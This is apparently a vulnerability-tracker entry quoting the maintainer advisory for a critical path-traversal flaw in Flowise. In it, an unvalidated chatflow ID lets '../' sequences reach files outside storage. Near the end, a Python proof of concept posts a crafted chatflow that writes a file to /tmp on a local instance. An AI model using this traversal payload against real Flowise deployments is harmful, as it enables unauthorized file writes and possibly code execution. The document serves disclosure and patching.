---
id: "CVE-2025-71334"
kind: "vulnerability"
aliases: ["CVE-2025-71334", "GHSA-q67q-549q-p849"]
title: "Flowise has arbitrary file access due to missing chat flow id validation"
severity: "critical"
cvss: 9.8
epss: 0.0436
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "flowise", "fixed": ["3.0.6"], "affected": ">= 2.2.8, < 3.0.6", "ecosystem": "npm"}, {"name": "flowiseai flowise", "fixed": ["3.0.6"], "affected": "< 3.0.6", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["ai-agents", "ai-tooling", "cwe-22", "cwe-73", "flowise", "npm", "self-hosted"]
not_affected_if: ["before-2.2.8", "fixed-3.0.6-or-later"]
published_at: "2025-09-15T20:11:39+00:00"
first_seen_at: "2026-11-03T17:36:46+00:00"
updated_at: "2026-11-03T17:52:24+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-q67q-549q-p849", "first_seen_at": "2026-11-03T17:36:46+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71334", "first_seen_at": "2026-11-03T17:52:24+00:00"}]
---

# Flowise has arbitrary file access due to missing chat flow id validation

Flowise accepts a chatflow ID from requests without checking it, so an attacker can use ../ sequences to reach paths outside the storage folder. The advisory says this allows arbitrary file read and write, and possibly remote code execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:flowise affected >= 2.2.8, < 3.0.6 fixed 3.0.6
- vendor:flowiseai flowise affected < 3.0.6 fixed 3.0.6

## Timeline

- 2026-11-03T17:36:46+00:00 ghsa https://github.com/advisories/GHSA-q67q-549q-p849
- 2026-11-03T17:52:24+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-71334

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-q67q-549q-p849
- [advisory] Maintainer's advisory: github.com https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
- [advisory] Third-party advisory: www.vulncheck.com https://www.vulncheck.com/advisories/flowise-arbitrary-file-access-via-missing-chat-flow-id-validation
- [fix] Patch: github.com https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f
- [fix] Patch: github.com https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7

## From the sources

### Summary

Missing chat flow id validation allows an attacker to access arbitrary file.

### Details

Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however,  `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues.

**Case 1**

When creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.

```typescript
export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
    // ...
    } else {
        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here
        if (!fs.existsSync(dir)) {
            fs.mkdirSync(dir, { recursive: true })
        }

        const splitDataURI = fileBase64.split(',')
        const filename = splitDataURI.pop()?.split(':')[1] ?? ''
        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
        const sanitizedFilename = _sanitizeFilename(filename)

        const filePath = path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::' + JSON.stringify(fileNames)
    }
}
```

**Case 2**

When downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path.

Note that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication.

### PoC

Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'.

```python
import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
  "category" : "Document Loaders",
  "inputs" : {
    "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
  }
}
flownode = {
  "id" : "a",
  "data" : nodedata
}
flowdata = {
  "nodes" : [flownode],
  "edges" : [],
  "viewport" : {
    "x" : 1,
    "y" : 1,
    "zoom" : 1
  }
}
data = {
  "id" : "../../../../../tmp",
  "name" : "name",
  "flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)
```

### Impact

1. Arbitrary file read / write
2. Remote Code Execution
3. Data loss

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_